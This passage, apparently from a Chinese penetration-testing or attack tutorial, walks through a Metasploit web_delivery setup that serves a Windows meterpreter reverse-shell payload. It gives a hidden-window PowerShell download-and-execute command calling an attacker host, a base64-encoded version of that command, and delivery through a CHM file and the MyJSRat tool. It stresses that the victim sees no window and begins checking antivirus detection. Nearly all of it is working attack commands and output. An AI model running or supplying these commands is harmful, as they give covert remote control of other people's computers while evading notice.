开启MSF web_delivery：
- ~ msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) > set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: http://0.0.0.0:8081/[*] Local IP: http://192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
装有powershell的客户端执行以下命令则可获取meterpreter会话：
- powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
由于存在特殊字符，我们可以把以上代码编码为base64格式，将以下代码存入power.txt：
- $n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.1.101:8081/');
执行以下命令：
- cat power.txt | iconv --to-code UTF-16LE |base64
最终要执行的powershell命令为：
- powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==
使用执行命令模式直接获取meterpreter会话：
- python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="
测试过程中，从运行CHM到获取meterpreter，客户端无明显异常，全程无黑框弹出，获取到meterpreter会话如下图：
3. 是否被杀?
可能很多人会问，会不会被杀，下面是virscan的查杀结果：
